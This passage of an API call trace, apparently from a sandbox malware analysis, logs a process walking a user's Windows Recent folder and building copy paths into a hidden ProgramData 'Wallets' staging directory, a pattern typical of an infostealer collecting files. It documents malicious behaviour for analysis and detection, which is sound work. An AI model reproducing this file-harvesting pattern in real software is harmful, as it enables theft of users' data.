lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\5vbV-w5gtE8pb.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\5vbV-w5gtE8pb.lnk" [0052.419] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.419] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6BGJ5DDChYvBQ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6BGJ5DDChYvBQ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6BGJ5DDChYvBQ.lnk" [0052.419] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="6BGJ5DDChYvBQ.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\6BGJ5DDChYvBQ.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\6BGJ5DDChYvBQ.lnk" [0052.419] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.419] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6Hf5ibKHh_b19qq3.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Hf5ibKHh_b19qq3.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6Hf5ibKHh_b19qq3.lnk" [0052.419] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="6Hf5ibKHh_b19qq3.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\6Hf5ibKHh_b19qq3.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\6Hf5ibKHh_b19qq3.lnk" [0052.419] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.419] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.419] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="6KCTpGOC RHh.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6KCTpGOC RHh.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\6KCTpGOC RHh.lnk" [0052.419] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.419] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="6KCTpGOC RHh.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\6KCTpGOC RHh.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\6KCTpGOC RHh.lnk" [0052.420] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.420] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="7tWt.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7tWt.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7tWt.lnk" [0052.420] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="7tWt.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\7tWt.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\7tWt.lnk" [0052.420] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.420] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8dVC.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8dVC.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8dVC.lnk" [0052.420] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="8dVC.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8dVC.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8dVC.lnk" [0052.420] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.420] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8j6xEpVde4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8j6xEpVde4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8j6xEpVde4.lnk" [0052.420] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="8j6xEpVde4.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8j6xEpVde4.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8j6xEpVde4.lnk" [0052.420] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.420] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8M39soGNEqJVPe7x9fCm.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8M39soGNEqJVPe7x9fCm.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8M39soGNEqJVPe7x9fCm.lnk" [0052.420] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="8M39soGNEqJVPe7x9fCm.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8M39soGNEqJVPe7x9fCm.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8M39soGNEqJVPe7x9fCm.lnk" [0052.420] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.420] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="8_2Sgq.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8_2Sgq.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8_2Sgq.lnk" [0052.420] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.420] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="8_2Sgq.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8_2Sgq.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\8_2Sgq.lnk" [0052.421] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.421] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="9iKB3nHvh.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9iKB3nHvh.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9iKB3nHvh.flv.lnk" [0052.421] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="9iKB3nHvh.flv.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\9iKB3nHvh.flv.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\9iKB3nHvh.flv.lnk" [0052.421] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.421] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="9wNDpOBDf.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9wNDpOBDf.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\9wNDpOBDf.lnk" [0052.421] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="9wNDpOBDf.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\9wNDpOBDf.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\9wNDpOBDf.lnk" [0052.421] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.421] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.421] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="a68aJeOpndOB5SUqVo.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a68aJeOpndOB5SUqVo.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\a68aJeOpndOB5SUqVo.lnk" [0052.421] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.421] lstrcatW (in: 